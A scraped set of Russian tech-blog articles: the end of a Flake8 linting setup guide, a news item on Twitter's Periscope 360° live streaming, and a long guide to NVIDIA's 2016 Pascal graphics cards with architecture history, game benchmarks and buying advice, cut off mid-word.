этом плагине можно найти на странице этого плагина на Github. flake8-quotes Плагин, позволяющий контролировать тип кавычек, которые будут использоваться в проекте. Установка: pip install flake8-quotes Конфигурация: [flake8] inline-quotes = " # Указываем, какой тип кавычек должен использоваться в вашем проекте Более подробную информацию об этом плагине можно найти на странице этого плагина на Github. Послесловие Хотя настройки, описанные выше, в 97,5 % случаев смогут предотвратить появление некачественного кода в репозитории, он так или иначе может оказаться запушенным (например, если деву было лень вводить две строчки для настройки pre-commit hook). Поэтому я настоятельно рекомендую добавить вызов Flake8 на этапе билда пул-реквестов в используемой вами системе continuous integration, чтобы предотвратить мердж невалидных пул-реквестов и попадание ошибок в мастер. Надеюсь, эта статья была вам полезна и позволит в дальнейшем максимально гибко и качественно настраивать рабочий процесс и стайлгайды в ваших Python-проектах. Всех благ. Список источников: Документация Flake8 Useful Python Modules: Flake8 Google Python Style Guide
https://habrahabr.ru/company/dataart/blog/318776/
habrahabr
Команда Twitter запустила сервис стриминга 360° видео в своем приложении Periscope
['Twitter', 'periscope', 'live', '360', 'видео', 'потоковое видео', 'стриминг']
Команда сервиса микроблогов Twitter представила аудитории новый функционал своего второго проекта — Periscope. Теперь пользователи смогут вести Live-трансляции с обзором 360 градусов. Для того,...
Команда сервиса микроблогов Twitter представила аудитории новый функционал своего второго проекта — Periscope. Теперь пользователи смогут вести Live-трансляции с обзором 360 градусов. Для того, чтобы воспользоваться новой функцией в качестве зрителя, достаточно подключиться к соответствующей Periscope-трансляции и потянуть изображение в нужную сторону. То, как это работает, продемонстрировал директор VR и AR-подразделения Twitter Алессандро Сабатели в официальном блоге Twitter: 360 Sunset in Florida. First ever #Periscope360 with @Brandee_Anthony https://t.co/AZWbnnT15S — Alex Pettitt (@Alexpettitt) December 28, 2016 В ходе трансляции Алессандро использовал специальную 360-градусную камеру, которую он со своей подругой подключили к смартфону. Пока 360°-видео будет использоваться только ограниченным кругом людей в рамках тестирования. При этом Алессандро уже позиционирует новую функциональность как инструмент Live-трансляций, во время которой каждый сможет увидеть то, что его интересует. Качество видео пока оставляет желать лучшего, однако сама возможность вести трансляцию с обзором в 360 градусов выглядит более чем привлекательно. Так, при помощи Periscope можно будет проводить экскурсии по закулисью или вести трансляцию во время каких-либо мероприятий. Последний год был для Twitter непростым. В первую очередь, сервис микроблогов испытывает постоянное давление со стороны своего основного конкурента в лице социальной сети Facebook. Во избежание поглощения каким-либо другим игроком рынка, руководство Twitter активно ищет новые пригодные для освоения сферы. Одной из них являются Live-трансляции. При этом Facebook уже наступает сервису микроблогов на пятки. В компании Марка Цукерберга функцию 360-градусного стриминга планируют запустить в ближайшие месяцы.
https://geektimes.ru/post/284206/
habrahabr
Гайд по Pascal: разбираемся в видеокартах NVIDIA 2016 года
['nvidia', 'geforce', 'amd', 'radeon', 'gtx 1050', 'gtx 1050 ti', 'gtx 1060', 'gtx 1070', 'gtx 1080', 'pascal', 'maxwell', 'kepler', 'fermi', 'история видеокарт']
2016 год уже на исходе, но его вклад в игроиндустрию останется с нами надолго. Во-первых, видеокарты из красного лагеря получили неожиданно удачное обновление в среднем ценовом диапазоне, ну а...
2016 год уже на исходе, но его вклад в игроиндустрию останется с нами надолго. Во-первых, видеокарты из красного лагеря получили неожиданно удачное обновление в среднем ценовом диапазоне, ну а во-вторых NVIDIA в очередной раз доказала, что не зря занимает 70% рынка. Maxwell’ы были хороши, GTX 970 по праву считалась одной из лучших карточек за свои деньги, но Pascal — совсем другое дело. Новое поколение железа в лице GTX 1080 и 1070 буквально похоронило результаты прошлогодних систем и рынок флагманского б/у железа, а «младшие» линейки в лице GTX 1060 и 1050 закрепили успех в более доступных сегментах. Владельцы GTX980Ti и прочих Titan’ов рыдают крокодильими слезами: их убер-пушки за много тысяч рублей разом потеряли 50% стоимости и 100% понтов. Сама NVIDIA заявляет, что 1080 быстрее, чем прошлогодний TitanX, 1070 легко «наваляет» 980Ti, а сравнительно бюджетная 1060 сделает больно владельцам всех остальных карточек. Так ли это, откуда растут ноги высокой производительности и что с этим всем делать в преддверии праздников и внезапных финансовых радостей, а также чем именно себя порадовать, можно узнать в этой длинной и немного занудной статье. Компанию Nvidia можно любить или… не любить, но отрицать то, что именно она в данный момент является лидером в области видеокартостроения станет только попаданец из альтернативной вселенной. Так как Vega от AMD ещё не анонсирована, флагманские RX’ы на Polaris’е мы так и не увидели, а R9 Fury с её 4 Гб экспериментальной памяти откровенно не может считаться перспективной карточкой (VR и 4K, всё же, захотят чуть больше, чем у неё есть) — имеем что имеем. Пока 1080 Ti и условные RX 490, RX Fury и RX 580 являются лишь слухами да ожиданиями, у нас с вами есть время разобраться в текущей линейке NVIDIA и посмотреть, чего достигла компания за последние годы. Бардак и история происхождения Pascal’я NVIDIA регулярно даёт поводы «не любить себя». История с GTX 970 и её «3.5 Гб памяти», «NVIDIA, Fuck you!» от Линуса Торвальдса, полная порнография в линейках десктопной графики, отказ от работы с бесплатной и куда более распространённой системой FreeSync в пользу своей проприетарщины… В общем, поводов хватает. Один из самых раздражающих лично меня — это то, что было с прошлыми двумя поколениями видеокарт. Если брать грубую характеристику, то «современные» графические процессоры пошли со времён поддержки DX10. А если искать «дедушку» 10-й серии сегодня, то начало современной архитектуры будет в районе 400-й серии видеоускорителей и архитектуры Fermi. Именно в нём окончательно сформировалась идея «блочной» конструкции из т.н. «ядер CUDA»  в терминологии NVIDIA. Fermi Если видеокарты 8000-й, 9000-й и 200-й серий были первыми шагами в освоение самого понятия, «современной архитектуры» с универсальными шейдерными процессорами (как у AMD, да), то 400-я серия уже была максимально похожа на то, что мы видим в какой-нибудь 1070. Да, у Fermi остался небольшой Legacy-костыль от прошлых поколений: шейдерный блок работал на удвоенной частоте ядра, отвечавшего за расчёт геометрии, но общая картинка у какой-нибудь GTX 480 не сильно отличается от какой-нибудь 780-й, мультипроцессоры SM объединены в кластеры, кластеры общаются через общий кеш с контроллерами памяти, а результаты работы выводит общий для кластера блок растеризации: Блок-схема процессора GF100, использовавшегося в GTX 480. В 500-й серии был всё тот же Fermi, чуть улучшенный «внутри» и с меньшим количеством брака, так что топовые решения получили 512 CUDA-ядер вместо 480 у предыдущего поколения. Визуально же блок-схемы вообще кажутся близнецами: GF110 — сердце GTX 580. Кое-где поднарастили частоты, чуть изменили дизайн самого чипа, никакой революции не было. Всё те же 40 нм техпроцесс и 1.5 ГБ видеопамяти на 384-битной шине. Kepler С приходом архитектуры Kepler изменилось многое. Можно сказать, что именно это поколение дало видеокартам NVIDIA тот вектор развития, который привёл к возникновению текущих моделей. Изменилась не только архитектура GPU, но и сама кухня разработки нового железа внутри NVIDIA. Если Fermi был направлен на поиск решения, которое обеспечит высокую производительность, то Kepler сделал ставку на энергоэффективность, разумное использование ресурсов, высокие частоты и простоту оптимизации игрового движка под возможности высокопроизводительной архитектуры. В дизайне GPU были произведены серьёзные изменения: за основу взяли не «флагманский» GF100 / GF110, а «бюджетный» GF104 / GF114, использовавшейся в одной из самых популярных карточек того времени — GTX 460. Общая архитектура процессора стала проще за счёт использования всего двух больших блоков с четырьмя унифицированными модулями шейдерных мультипроцессоров. Выглядела разводка новых флагманов примерно так: GK104, установленный в GTX 680. Как вы видите, каждый из вычислительных блоков существенно прибавил в весе относительно прошлой архитектуры, и был назван SMX. Сравните строение блока с тем, что изображено выше, в разделе Fermi. Мультипроцессор SMX графического процессора GK104 Шестисотая серия не имела видеокарт на полноценном процессоре, содержащем шесть блоков вычислительных модулей, флагманом была GTX 680 с установленным GK104, а круче неё — только «двухголовая» 690-я, на которой было разведено просто два процессора со всей необходимой обвязкой и памятью. Спустя год флагман GTX 680 с незначительными изменениями превратился в GTX 770, а венцом эволюции архитектуры Kepler стали видеокарты на базе кристалла GK110: GTX Titan и Titan Z, 780Ti и обычная 780. Внутри — всё те же 28 нанометров, единственное качественное улучшение (которое НЕ досталось консьюмерским видеокартам на базе GK110) — производительность с операциями двойной точности. Maxwell Первой видеокартой на архитектуре Maxwell стала… NVIDIA GTX 750Ti. Чуть позже появились её обрезки в лице GTX 750 и 745 (поставлялась только как встроенное решение), и на момент появления младшие карточки реально встряхнули рынок недорогих видеоускорителей. Новая архитектура обкатывалась на чипе GK107: крохотном кусочке будущих флагманов с огромными радиаторами и пугающей ценой. Выглядел он примерно так: Да, всего один вычислительный блок, но насколько сложнее он устроен, нежели у предшественника, сравните сами: Вместо крупного блока SMX, который использовался как базовый «строительный кирпичик» в создании GPU используются новые, более компактные блоки SMM. Базовые вычислительные блоки Kepler’а были хороши, но страдали от плохой загрузки мощностей — банальный голод инструкций: раскидать инструкции по большому количеству исполнительных элементов система не могла. Примерно те же проблемы были у Pentium 4: мощность простаивала, а ошибка в предсказании ветвлений стоила очень дорого. В Maxwell’е каждый вычислительный модуль разделили на четыре части, выделив каждой из них собственный буфер инструкций и планировщик варпов — однотипных операций над группой потоков. В результате эффективность выросла, а сами графические процессоры стали гибче, чем их предшественники, а самое главное — ценой малой крови и достаточно простого кристалла отработали новую архитектуру.  История развивается по спирали, хе-хе. Больше всего от нововведений выиграли мобильные решения: площадь кристалла выросла на четверть, а количество исполнительных блоков мультипроцессоров — почти вдвое. Как назло, именно 700-я и 800-я серии устроили основной бардак в классификации. Внутри одной только 700-й встречались видеокарты на архитектурах Kepler, Maxwell и даже Fermi! Именно поэтому десктопные Maxwell’ы, чтобы отстраниться от мешанины в предыдущих поколениях, получили общую серию 900, от которой впоследствии отпочковались мобильные карточки GTX 9xx M. Pascal — логическое развитие архитектуры Maxwell То, что было заложено в Kepler’е и продолжено в поколении Maxwell осталось и в Pascal’ях: первые потребительские видеокарты выпущены на базе не самого крупного чипа GP104, который состоит из четырёх кластеров обработки графики. Полноразмерный, шестикластерный GP100 достался дорогущему полупрофессиональному GPU под маркой TITAN X. Впрочем, даже «обрезанная» 1080 зажигает так, что прошлым поколениям становится дурно. Улучшение производительности Основа основ Maxwell стал фундаментом новой архитектуры, диаграмма сравнимых процессоров (GM104 и GP104) выглядит почти одинаково, основное отличие — количество упакованных в кластеры мультипроцессоров. В Kepler’е (700-е поколение) было два больших мультипроцессора SMX, которые разделили на 4 части каждый в Maxwell’е, снабдив необходимой обвязкой (сменив название на SMM). В Pascal’е к имеющимся восьми в блоке добавили ещё два, так что их стало 10, а аббревиатуру в очередной раз перебили: теперь единичные мультипроцессоры вновь называются SM. В остальном — полное визуальное сходство. Правда, внутри изменений стало ещё больше. Двигатель прогресса Изменений внутри блока мультипроцессоров неприлично много. Дабы не вдаваться в совсем уж занудные подробности того, что переделали, как оптимизировали и как было раньше, опишу изменения совсем коротко, а то некоторые и так уже зевают. Перво-наперво Pascal’ям поправили ту часть, которая отвечает за геометрическую составляющую картинки. Это необходимо для мультимониторных конфигураций и работы с VR-шлемами: при должной поддержке со стороны игрового движка (а усилиями NVIDIA эта поддержка быстро появится) видеокарта может один раз посчитать геометрию и получить несколько проекций геометрии для каждого из экранов. Это существенно снижает нагрузку в VR не только в области работы с треугольниками (тут прирост просто двукратный), но и в работе с пиксельной составляющей. Условная 980Ti будет считать геометрию дважды (для каждого глаза), а затем заполнять текстурами и выполнять пост-обработку для каждого из изображений, обработав в сумме порядка 4.2 миллиона точек, из которых реально использоваться будет около 70%, остальное будет отрезано или попадёт в область, которая попросту не отображается для каждого из глаз. 1080 обработает геометрию единожды, а пиксели, которые не попадут в итоговое изображение просто не будут рассчитываться. С пиксельной составляющей всё, на самом деле, ещё круче. Так как наращивание пропускной способности памяти можно вести только по двум фронтам (увеличение частоты и пропускной способности за такт), и оба способа стоят денег, а «голод» GPU по части памяти всё явственней выражен с годами из-за роста разрешения и развития VR остаётся улучшать «бесплатные» методы увеличения пропускной способности. Если нельзя расширить шину и поднять частоту — надо сжать данные. В предыдущих поколениях аппаратное сжатие уже было внедрено, но в Pascal его вывели на новый уровень. Опять же, обойдёмся без скучной математики, и возьмём готовый пример от NVIDIA. Слева — Maxwell, справа — Pascal, залиты розовым цветом те точки, чья цветовая составляющая подвергалась сжатию без потерь качества. Вместо передачи конкретных тайлов 8х8 точек, в памяти находится «средний» цвет + матрица отклонений от него, такие данные занимает от ½ до ⅛ объёма исходных. В реальных задачах нагрузка на подсистему памяти снизилась от 10 до 30%, в зависимости от количества градиентов и равномерности заливок в сложных сценах на экране. Этого инженерам показалось мало, и для флагманской видеокарты (GTX 1080) использована память с повышенной пропускной способностью: GDDR5X передаёт вдвое больше бит данных (не инструкций) за такт, и выдаёт в пике более 10 Гбит/с. Передача данных с такой сумасшедшей скоростью потребовала полностью новой топологии разводки памяти на плате, а в сумме эффективность работы с памятью выросла на 60-70% по сравнению со флагманами прошлого поколения. Уменьшение задержек и простоя мощностей Видеокарты давно занимаются не только обработкой графики, но и сопутствующими вычислениями. Физика часто привязана к кадрам анимации и замечательно параллелится, а значит намного эффективнее считается на GPU. Но самым большим генератором проблем за последнее время стала VR-индустрия. Многие игровые движки, методологии разработки и куча других технологий, используемых для работы с графикой просто не были рассчитаны на VR, случай перемещения камеры или изменения положения головы пользователя в процессе отрисовки кадра просто не обрабатывался. Если оставить всё как есть, то рассинхронизация видеопотока и ваших движений будет вызывать приступы морской болезни и попросту мешать погружению в игровой мир, а значит «неправильные» кадры просто приходится выбрасывать после отрисовки и начинать работу сначала. А это — новые задержки в выводе картинки на дисплей. Положительным образом на производительности это не сказывается. В Pascal’е учли эту проблему и внедрили динамическую балансировку нагрузки и возможность асинхронных прерываний: теперь исполнительные блоки могут либо прервать текущую задачу (сохранив результаты работы в кеш) для обработки более срочных задач, либо попросту сбросить недорисованный кадр и заняться новым, значительно снижая задержки в формировании изображения. Основной бенефициар здесь, само собой, VR и игры, но и с расчётами общего назначения данная технология может помочь: симуляция столкновения частиц получила прирост производительности в 10-20%. Boost 3.0 Автоматический разгон видеокарты NVIDIA получили достаточно давно, ещё в 700-м поколении на базе архитектуры Kepler. В Maxwell’е  разгон улучшили, но он всё равно был мягко говоря так себе: да, видеокарта работала чуть быстрее, пока это позволял теплопакет, зашитые с завода дополнительные 20-30 мегагерц по ядру и 50-100 по памяти давали прирост, но небольшой. Работало это примерно так: Даже если по температуре GPU был запас, производительность не росла. С приходом Pascal инженеры перетряхнули и это пыльное болото. Boost 3.0 работает по трём фронтам: анализ температуры, повышение тактовой частоты и повышение напряжения на кристалле. Теперь из GPU выжимаются все соки: стандартные драйвера NVIDIA этого не делают, а вот софт вендоров позволяет в один клик построить профилирующую кривую, которая будет учитывать качество конкретно вашего экземпляра видеокарты. Одной из первых на этом поприще стала компания EVGA, её утилита Precision XOC имеет сертифицированный NVIDIA сканер, который последовательно перебирает весь диапазон температур, частот и напряжений, добиваясь максимальной производительности на всех режимах. Добавьте сюда новый техпроцесс, высокоскоростную память, всяческие оптимизации и снижение теплопакета чипов, и результат будет просто неприличный. C 1500 «базовых» МГц у GTX 1060 можно выжать больше 2000 МГц, если попадётся хороший экземпляр, а вендор не облажается с охлаждением. Улучшение качества картинки и восприятия игрового мира Производительность увеличили по всем фронтам, но есть ряд моментов, в которых качественных изменений не было несколько лет: в качестве выводимой картинки. И речь идёт не о графических эффектах, их обеспечивают разработчики игр, а о том, что именно мы видем на мониторе и то, как выглядит игра для конечного потребителя. Быстрая вертикальная синхронизация Самая главная фишка Pascal’я — тройной буфер для вывода кадров, обеспечивающий одновременно сверхнизкие задержки в отрисовке и обеспечение вертикальной синхронизации. В одном буфере хранится выводимое изображение, в другом — последний отрисованный кадр, в третьем — рисуется текущий. Прощайте, горизонтальные полосы и разрывы кадров, здравствуй, высокая производительность. Задержек, которые устраивает классический V-Sync здесь нет (так как никто не сдерживает производительность видеокарты и она всегда рисует с максимально возможной частотой кадра), а на монитор отправляются только полностью сформированные кадры. Я думаю, что после нового года напишу отдельный большой пост про V-Sync, G-Sync, Free-Sync и вот этот новый алгоритм быстрой синхронизации от Nvidia, слишком уж много подробностей. Нормальные скриншоты Нет, те скрины, что есть сейчас — это просто позор. Почти все игры используют кучу технологий, чтобы картинка в движении поражала и захватывала дух, и скриншоты стали реальным кошмаром: вместо потрясающе реалистичной картинки, складывающейся из анимации, специальных эффектов, эксплуатирующих особенности человеческого зрения, вы видите какое-то угловатое непойми что со странными цветами и абсолютно безжизненной картинкой. Новая технология NVIDIA Ansel решает проблему со скринами. Да, её имплементация требует интеграцию специального кода от разработчиков игр, но реальных манипуляций там минимум, а вот профит громадный. Ansel умеет ставить игру на паузу, передаёт управление камерой в ваши руки, а дальше — простор для творчества. Можно просто сделать кадр без GUI и полюбившемся вам ракурсе. Можно отрисовать имеющуюся сцену в ультра-высоком разрешении, снимать 360-градусные панорамы, сшивать их в плоскость или оставлять в трёхмерном виде для просмотра в VR-шлеме. Сделать фотографию с 16 битами на канал, сохранить её в своеобразном RAW-файле, а дальше играть с экпозицией, балансом белого и прочими настройками так, что скриншоты вновь станут привлекательными. Ждём тонны крутого контента от фанатов игр через год-другой. Обработка звука на видеокарте Новые библиотеки NVIDIA Gameworks добавляют множество фич, доступных разработчикам. В основном они нацелены на VR и ускорение различных вычислений, а также повышение качества картинки, но одна из фич наиболее интересна и достойна упоминания. VRWorks Audio выводит работу со звуком на принципиально новый уровень, считая звук не по банальным усреднённым формулам, зависящим от расстояния и толщины препятствия, но выполняет полную трассировку звукового сигнала, со всеми отражениями от окружения, реверберацией и поглощением звука в различных материалах. У NVIDIA есть хороший видео-пример на тему того, как работает эта технология: Смотреть лучше в наушниках Чисто теоретически, ничто не мешает запускать такую симуляцию на Maxwell’е, но оптимизации по части асинхронного выполнения инструкций и новая система прерываний, заложенные в Pascal’ях, позволяет проводить расчёты, не сильно влияя на кадровую частоту. Паскаль в сумме Изменений, на самом деле, ещё больше, и многие из них настолько глубоко в архитектуре, что по каждому из них можно написать огромную статью. Ключевые новшества — улучшенный дизайн самих чипов, оптимизация на самом низком уровне в части геометрии и асинхронной работы с полной обработкой прерываний, множество фич, заточенных на работу с высокими разрешениями и VR, и, разумеется, безумные частоты, которые не снились прошлым поколениям видеокарт. Два года назад 780 Ti едва перешагнула рубеж в 1 ГГц, сегодня 1080 в ряде случаев работает на двух: и здесь заслуга не только в уменьшенном с 28 нм до 16 или 14 нм техпроцессе: многие вещи оптимизированы на самом низком уровне, начиная с дизайна транзисторов, заканчивая их топологией и обвязкой внутри самого чипа. Для каждого отдельного случая Линейка видеокарт NVIDIA 10-й серии получилась по-настоящему сбалансированной, и достаточно плотно покрывает все игровые юз-кейсы, от варианта «в стратегии и диаблу играть» до «хочу топ-игры в 4k». Игровые тесты выбраны по одной простой методике: охватить как можно больший диапазон испытаний как можно меньшим набором тестов. BF1 — отличный пример хорошей оптимизации и позволяет сравнить в одинаковых условиях производительность DX11 против DX12. DOOM выбран по той же причине, только позволяет сравнить OpenGL и Vulkan. Третий «Ведьмак» здесь выступает в роли так-себе-оптимизированной-игрушки, в которой максимальные настройки графики дают прикрутить любому флагману просто в силу говнокода. Он использует классический DX11, который проверен временем и отлично отработан в драйверах и знаком игроделам. Overwatch отдувается за все «турнирные» игры, в которых хорошо оптимизирован код, по факту интересен тем, насколько высок средний FPS в не сильно тяжёлой с графической точки зрения игре, заточенной на работу в «среднем» конфиге, доступном по всему миру. Сразу дам некоторые общие комментарии: Vulkan очень прожорлив в плане видеопамяти, для него эта характеристика — один из главных показателей, и вы увидите отражение этому тезису в бенчмарках. DX12 на карточках AMD ведёт себя значительно лучше, чем у NVIDIA, если «зелёные» в среднем показывают просадку по FPS на новых API, то «красные», наоборот, прирост. Младший дивизион GTX 1050 Младшая NVIDIA (без букв Ti) не так интересна, как её заряженная сестрица с буквами Ti. Её удел — игровое решение для MOBA-игр, стратегий, турнирных шутеров и прочих игр, где детализация и качество картинки мало кого интересует, а стабильная частота кадров за минимальные деньги — то, что доктор прописал. На всех картинках отсутствует частота ядра, потому что она индивидуальна для каждого экземпляра: 1050 без доп. питания может не гнаться, а её сестра с 6-pin разъёмом легко возьмёт условных 1.9 ГГц. По части питания и длины изображены наиболее популярные варианты, всегда можно найти видеокарту с другой схемой или другим охлаждением, которое не впишется в указанные «нормативы». DOOM 2016 (1080p, ULTRA): OpenGL — 68 FPS, Vulkan — 55 FPS; The Witcher 3: Wild Hunt (1080p, MAX, HairWorks Off): DX11 — 38 FPS; Battlefield 1 (1080p, ULTRA): DX11 — 49 FPS, DX12 — 40 FPS; Overwatch (1080p, ULTRA): DX11 — 93 FPS; В GTX 1050 установлен графический процессор GP107, доставшийся ей от старшей карты с небольшой обрезкой функциональных блоков. 2 ГБ видеопамяти не дадут разгуляться, но для киберспортивных дисциплин и игры в какие-нибудь танки она отлично подойдёт, благо цена на младшую карточку начинается с 9.5 тысяч рублей. Дополнительное питание не требуется, видеокарте достаточно 75 Ватт, поступающих с материнской платы по слоту PCI-Express. Правда, в этом ценовом сегменте есть ещё и AMD Radeon RX460, который с теми же 2 ГБ памяти стоит дешевле, а по качеству работы почти не уступает, а за примерно те же деньги можно получить RX460, но в версии на 4 ГБ. Не то что бы они ему сильно помогали, но какой-никакой запас на будущее. Выбор вендора не так важен, можно брать то, что есть в наличии и не оттягивает карман лишней тысячей рублей, которую лучше потратить на заветные буквы Ti. GTX 1050 Ti Около 10 тысяч за обычную 1050 — неплохо, но за заряженную (или полноценную, называйте как хотите) версию просят не многим больше (в среднем, на 1-1.5 тысячи больше), а вот её начинка куда интереснее. К слову, вся серия 1050 выпускается не из обрезки / отбраковки «больших» чипов, которые не годятся для 1060, а как полностью самостоятельный продукт. У неё меньше техпроцесс (14 нм), другой завод (кристаллы выращивает фабрика Samsung), и есть крайне интересные экземпляры с доп. питанием: тепловой пакет и базовое потребление у неё всё те же 75 Вт, а вот разгонный потенциал и возможность выйти за рамки дозволенного — совсем другие. Если вы продолжаете играть на разрешении FullHD (1920x1080), не планируете апгрейда, а ваше остальное железо в пределах 3-5 летней давности — отличный способ поднять производительность в игрушках малой кровью. Ориентироваться стоит на решения ASUS и MSI с дополнительным 6-пиновым питанием, неплохи варианты от Gigabyte, но цена уже не так радует. DOOM 2016 (1080p, ULTRA): OpenGL — 83 FPS, Vulkan — 78 FPS; The Witcher 3: Wild Hunt (1080p, MAX, HairWorks Off): DX11 — 44 FPS; Battlefield 1 (1080p, ULTRA): DX11 — 58 FPS, DX12 — 50 FPS; Overwatch (1080p, ULTRA): DX11 — 104 FPS. Средний дивизион Видеокарты 60-й линейки давно считались оптимальным выбором для тех, кто не хочет тратить много денег, и вместе с тем играть на высоких настройках графики во всё, что выйдет в ближайшие пару лет. Началось это ещё со времён GTX 260, у которой было две версии (попроще, 192 потоковых процессора, и пожирнее, 216 «камней»), продолжалось в 400, 500, и 700-м поколениях, и вот NVIDIA вновь попала в практически идеальное сочетание цены и качества. Вновь доступны две версии «середнячка»: GTX 1060 на 3 и 6 ГБ видеопамяти отличаются не только объёмом доступной оперативки, но и производительностью. GTX 1060 3GB Королева киберспорта. Умеренная цена, потрясающая производительность для FullHD (а в киберспорте редко используют разрешение выше: там результаты важнее красивостей), разумный объём памяти (3 ГБ, на минуточку, стояло два года назад во флагмане GTX 780 Ti, который стоил неприличных денег). В плане производительности младшая 1060 легко наваливает прошлогодней GTX 970 с приснопамятным 3.5 ГБ памяти, и легко таскает за уши позапрошлогодний суперфлагман 780 Ti. DOOM 2016 (1080p, ULTRA): OpenGL — 117 FPS, Vulkan — 87 FPS; The Witcher 3: Wild Hunt (1080p, MAX, HairWorks Off): DX11 — 70 FPS; Battlefield 1 (1080p, ULTRA): DX11 — 92 FPS, DX12 — 85 FPS; Overwatch (1080p, ULTRA): DX11 — 93 FPS. Тут безусловный фаворит по соотношению цены и выхлопа — версия от MSI. Неплохие частоты, бесшумная система охлаждения и вменяемые габариты. За неё просят-то всего ничего, в районе 15 тысяч рублей. GTX 1060 6GB Шестигигабайтная версия — бюджетный билет в VR и высокие разрешения. Она не будет голодать по памяти, чуть быстрее во всех тестах и уверенно будет выигрывать у GTX 980 там, где прошлогодней видеокарте станет мало 4 ГБ видеопамяти. DOOM 2016 (1080p, ULTRA): OpenGL — 117 FPS, Vulkan — 121 FPS; The Witcher 3: Wild Hunt (1080p, MAX, HairWorks Off): DX11 — 73 FPS; Battlefield 1 (1080p, ULTRA): DX11 — 94 FPS, DX12 — 90 FPS; Overwatch (1080p, ULTRA): DX11 — 166 FPS. Хочется ещё раз отметить поведение видеокарт при использовании API Vulkan. 1050 с 2 ГБ памяти — просадка по FPS. 1050 Ti с 4 ГБ — почти вровень. 1060 3 ГБ — просадка. 1060 6 Гб — рост результатов. Тенденция, думаю, понятна: для Vulkan надо 4+ ГБ видеопамяти. Беда в том, что обе 1060 — видеокарты не маленькие. Вроде, и теплопакет разумный, и плата там реально небольшая, но многие вендоры решили просто унифицировать систему охлаждения между 1080, 1070 и 1060. У кого-то видеокарты в высоту 2 слота, но длиной 28+ сантиметров, кто-то сделал их короче, но толще (2.5 слота). Выбирайте внимательней. К сожалению, дополнительные 3 ГБ видеопамяти и разблокированный вычислительный блок обойдутся вам в ~ 5-6 тысяч рублей сверху к цене 3-гиговой версии. В данном случае самые интересные варианты по цене и качеству у Palit. ASUS выпустил монструозные 28-сантиметровые системы охлаждения, которые лепит и на 1080, и на 1070, и на 1060, и такая видеокарта мало куда поместится, версии без заводского разгона стоят почти столько же, а выхлоп меньше, а за сравнительно компактные MSI просят больше, чем у конкурентов при примерно том же уровне качества и заводского разгона. Высшая лига Играть на все деньги в 2016 году сложновато. Да, 1080 — безумно крута, но перфекционисты и железячники знают, что NVIDIA СКРЫВАЕТ существование супер-флагмана 1080 Ti, который должен быть неимоверно крут. Первые спецификации уже просачиваются в сеть, и понятно, что зелёные ждут шага от красно-белых: какой-нибудь убер-пушки, которую моментально можно будет поставить на место новым королём 3D-графики, великой и могучей GTX 1080 Ti. Ну а пока имеем что имеем. GTX 1070 Прошлогодние приключения мегапопулярной GTX 970 и её не-совсем-честных-4-гигабайт-памяти активно разбирались и обсасывались по всему интернету. Это не помешало ей стать самой популярной игровой видеокартой в мире. В преддверии смены года на календаре она удерживает первое место в Steam Hardware & Software Survey . Оно и понятно: сочетание цены и производительности было просто идеальным. И если вы пропустили прошлогодний апгрейд, а 1060 кажется вам недостаточно крутой — GTX 1070 ваш выбор. Разрешения 2560х1440 и 3840х2160 видеокарта переваривает на ура. Система разгона Boost 3.0 постарается подкидывать дров тогда, когда возрастает нагрузка на GPU (то есть в самых тяжёлых сценах, когда FPS проседает под натиском спецэффектов), разгоняя процессор видеокарты до умопомрачительных 2100+ Мгц. Память легко получает 15-18% эффективной частоты сверх заводских показателей. Монструозная штука. Внимание, все тесты проведены в 2.5k (2560x1440): DOOM 2016 (1440p, ULTRA): OpenGL — 91 FPS, Vulkan — 78 FPS; The Witcher 3: Wild Hunt (1440p, MAX, HairWorks Off): DX11 — 73 FPS; Battlefield 1 (1440p, ULTRA): DX11 — 91 FPS, DX12 — 83 FPS; Overwatch (1440p, ULTRA): DX11 — 142 FPS. Понятное дело, вытянуть ультра-настройки в 4k и никогда не проседать ниже 60 кадров в секунду не под силу ни этой карточке, ни 1080, но играть на условных «высоких» настройках, отключив или немного снизив самые прожорливые фичи можно в полном разрешении, а в плане реальной производительности видеокарта легко задаёт жару даже прошлогодней 980 Ti, которая стоила почти вдвое дороже. Самый интересный вариант у Gigabyte: они ухитрились запихать полноценную 1070 в корпус ITX-стандарта. Спасибо скромному теплопакету и энергоэффективному дизайну. Цены на карточки стартуют с 29-30 тысяч рублей за вкусные варианты. GTX 1080 Да, флагман не имеет букв Ti. Да, он использует не самый крупный GPU, доступный NVIDIA. Да, здесь нет крутейшей памяти HBM 2, а видеокарта не выглядит, как «Звезда смерти» или, в крайне случае, имперский крейсер класса «Звёздный разрушитель». И да, это самая крутая игровая видеокарта, которая сейчас есть. Одна одна берёт и запускает DOOM в разрешении 5k3k с 60 кадрами в секунду на ультра-настройках. Ей подвластны все новые игрушки, и ближайшие год-два она не будет испытывать проблем: пока новые технологии, заложенные в Pascal станут распространены, пока игровые движки научатся эффективно загружать имеющиеся ресурсы… Да, через пару лет мы будем говорить: «Вот, посмотрите на GTX 1260, пару лет назад для игры с такими настройками вам нужен был флагман», а пока — лучшая из лучших видеокарт доступна перед новым годом по весьма разумной цене. Внимание, все тесты проведены в 4k (3840x2160): DOOM 2016 (2160p, ULTRA): OpenGL — 54 FPS, Vulkan — 78 FPS; The Witcher 3: Wild Hunt (2160p, MAX, HairWorks Off): DX11 — 55 FPS; Battlefield 1 (2160p, ULTRA): DX11 — 65 FPS, DX12 — 59 FPS; Overwatch (2160p, ULTRA): DX11 — 93 FPS. Останется только решить: оно вам надо, или можно сэкономить и взять 1070. Играть на «ультре» или «высоких» настройках особой разницы нет, благо современные движки отлично рисуют картинку в высоком разрешении даже на средних настройках: в конце концов, у нас с вами не мыльные консоли, которые не могут обеспечить достаточно производительности для честного 4k и стабильных 60 кадров в секунду. Если отбросить самые недорогие варианты, то лучшее сочетание цены и качества снова будет у Palit в варианте GameRock (около 43-45 тысяч рублей): да, система охлаждения «толстая», 2.5 слота, но видеокарта короче конкурентов, а пару из 1080 ставят редко. SLI потихоньку умирает, и даже живительная инъекция высокоскоростных мостов его не особо выручает. Вариант ASUS ROG неплох, если у вас установлено множество доп. девайсов и перекрывать лишние слоты расширения вам не хочется: их видеокарта в толщину ровно 2 слота, но требует 29 сантиметров свободного пространства от задней стенки до корзины с жёсткими дисками. Интересно, осилят ли Gigabyte выпуск и этого монстра в ITX-формате? Итоги Новые видеокарты NVIDIA просто похоронили рынок Б/У железа. На нём выживает только GTX 970, которую можно урвать за 10-12 тысяч рублей. Потенциальным покупателям Б/У 7970 и R9 280 часто некуда её поставить и попросту не прокормить, а многие Б/У варианты попросту бесперспективны и как дешёвый апгрейд на пару лет вперёд никуда не годятся: памяти мало, новые технологии не поддерживаются. Прелесть 